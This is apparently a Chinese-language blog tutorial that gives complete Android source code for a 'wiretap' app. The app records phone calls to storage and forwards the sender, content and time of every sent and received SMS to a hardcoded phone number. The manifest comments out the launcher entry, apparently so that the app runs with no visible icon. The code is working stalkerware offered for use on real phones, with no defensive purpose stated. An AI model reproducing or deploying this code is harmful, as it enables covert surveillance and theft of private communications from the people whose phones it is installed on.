首先創建一個項目工程文件,以下圖所示:java
首先在MainActivity.java文件啓動電話和短信的界面,代碼以下android
1 package com.xunfang.wiretap; 2 3 import com.xunfang.observer.MyObserver; 4 import com.xunfang.services.PhoneService; 5 6 import android.support.v7.app.ActionBarActivity; 7 import android.content.Intent; 8 import android.net.Uri; 9 import android.os.Bundle; 10 import android.os.Handler; 11 import android.view.Menu; 12 import android.view.MenuItem; 13 14 15 public class MainActivity extends ActionBarActivity { 16 17 @Override 18 protected void onCreate(Bundle savedInstanceState) { 19 super.onCreate(savedInstanceState); 20 //電話 21 setContentView(R.layout.activity_main); 22 Intent intent = new Intent(this,PhoneService.class); 23 startService(intent); 24 //短信 25 Uri uri = Uri.parse("conten://sms"); 26 getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler())); 27 28 } 29 @Override 30 public void onBackPressed() { 31 } 32 }
而後進入電話管理服務界面PhoeService.java界面。代碼以下數據庫
1 package com.xunfang.phoneservice; 2 3 import java.io.IOException; 4 5 import android.app.Service; 6 import android.content.Intent; 7 import android.media.MediaRecorder; 8 import android.os.IBinder; 9 import android.telephony.PhoneStateListener; 10 import android.telephony.TelephonyManager; 11 12 public class PhoneService extends Service { 13 14 // 管理電話 15 private TelephonyManager tm; 16 17 private MyListener listener; 18 19 // 建立一個收音機 20 private MediaRecorder mr; 21 22 @Override 23 public IBinder onBind(Intent intent) { 24 return null; 25 } 26 27 @Override 28 public void onCreate() { 29 super.onCreate(); 30 // 實例化 31 tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); 32 33 // 監聽電話的狀態 34 listener = new MyListener(); 35 // 註冊監聽者,監聽電話的狀態 36 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); 37 } 38 39 private class MyListener extends PhoneStateListener { 40 @Override 41 public void onCallStateChanged(int state, String incomingNumber) { 42 super.onCallStateChanged(state, incomingNumber); 43 44 switch (state) { 45 case TelephonyManager.CALL_STATE_IDLE: // 空閒狀態 46 System.out.println("電話空閒"); 47 if (mr != null) { 48 // 說明錄音機中止錄音了 49 mr.stop(); 50 mr.release(); 51 mr = null; 52 } 53 break; 54 case TelephonyManager.CALL_STATE_OFFHOOK: // 摘機狀態(通話狀態) 55 System.out.println("通話狀態"); 56 // 1.建立一個收音機 57 mr = new MediaRecorder(); 58 // 2.設置音源 59 mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET 60 // 3.設置錄製音頻的格式 61 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); 62 // 4設置音頻的採樣率 63 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); 64 // 5.設置錄製的文件放置的位置 65 mr.setOutputFile("/mnt/sdcard/xxx.avi"); 66 // 6.準備錄製 67 try { 68 mr.prepare(); 69 } catch( Exception e) { 70 e.printStackTrace(); 71 } 72 // 7.開始錄製 73 mr.start(); 74 75 break; 76 case TelephonyManager.CALL_STATE_RINGING: // 響鈴狀態 77 System.out.println("響鈴狀態"); 78 break; 79 } 80 } 81 } 82 83 }
而後進入管理短信服務界面MyObserver.java,代碼以下所示app
1 package com.xunfang.observer; 2 3 import java.text.SimpleDateFormat; 4 import java.util.Date; 5 6 import android.content.ContentResolver; 7 import android.content.Context; 8 import android.database.ContentObserver; 9 import android.database.Cursor; 10 import android.net.Uri; 11 import android.os.Handler; 12 import android.telephony.SmsManager; 13 14 public class MyObserver extends ContentObserver { 15 private Context context; 16 public MyObserver(Context context,Handler handler) { 17 super(handler); 18 this.context = context; 19 } 20 21 @Override 22 public void onChange(boolean selfChange, Uri uri) { 23 ContentResolver resolver = context.getContentResolver(); 24 Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc"); 25 cursor.moveToFirst(); 26 String address = cursor.getString(0); 27 String body = cursor.getString(1); 28 int type = cursor.getInt(2); 29 long date = cursor.getLong(3); 30 //將日期格式化,按這個模式輸出日期 31 String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date)); 32 //type=1,表示發送短信,而type=2是表示接收短信,這個能夠默認系統短信的數據庫表導出來看一下 33 if(type ==2 ){ 34 String sms = "檢測的到對方的手機發送信息: 地址:" + address + " 內容:" + body + "時間 :" + time; 35 String phone = "18883278692"; //這個電話號碼是你要將這個信息發送到哪一個人的電話號碼 36 //拿到默認短信管理器 37 SmsManager sm = SmsManager.getDefault(); 38 //發送短信 39 sm.sendTextMessage(phone, null, sms, null, null) ; 40 System.out.println("檢測的到對方的手機發送信息: 地址:" + address + " 內容:" + body + "時間 :" + time ); 41 } 42 if(type == 1){ 43 String sms = "檢測的到對方的手機接收到的信息: 地址:" + address + " 內容:" + body + "時間 :" + time; 44 String phone = "18883278692"; //這個電話號碼是你要將這個信息發送到哪一個人的電話號碼 45 SmsManager sm = SmsManager.getDefault(); 46 sm.sendTextMessage(phone, null, sms, null, null) ; 47 System.out.println("檢測的到對方的手機接收到的信息: 地址:" + address + " 內容:" + body + "時間 :" + time ); 48 } 49 } 50 51 52 }
代碼到這裏就差很少了,不過千萬不要忘了添加權限和服務的申明,在AndroidManifest.xml配置以下ide
1 <?xml version="1.0" encoding="utf-8"?> 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 3 package="com.xunfang.wiretap" 4 android:versionCode="1" 5 android:versionName="1.0" > 6 7 <uses-sdk 8 android:minSdkVersion="8" 9 android:targetSdkVersion="21" /> 10 <uses-permission android:name="android.permission.READ_PHONE_STATE"/> 11 <uses-permission android:name="android.permission.RECORD_AUDIO"/> 12 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> 13 <uses-permission android:name="android.permission.INTERNET"/> 14 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 15 <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> 16 <uses-permission android:name="android.permission.WRITE_SMS"/> 17 <uses-permission android:name="android.permission.READ_SMS"/> 18 <uses-permission android:name="android.permission.SEND_SMS"/> 19 20 <application 21 android:allowBackup="true" 22 android:icon="@drawable/ic_launcher" 23 android:label="@string/app_name" 24 android:theme="@style/AppTheme" > 25 <!-- <activity 26 android:name=".MainActivity" 27 android:label="@string/app_name" > 28 <intent-filter> 29 <action android:name="android.intent.action.MAIN" /> 30 31 <category android:name="android.intent.category.LAUNCHER" /> 32 </intent-filter> 33 </activity> --> 34 <service 35 android:name="com.xunfang.services.PhoneService"></service> 36 <receiver 37 android:name="com.xunfang.broadrecevice.MyBroadReceiver" 38 > 39 <intent-filter > 40 <action 41 android:name="android.intent.action.NEW_OUTGOING_CALL" 42 /> 43 </intent-filter> 44 </receiver> 45 </application> 46 47 </manifest>
到這裏已經所有配置完成,能夠用真實機進行測試。測試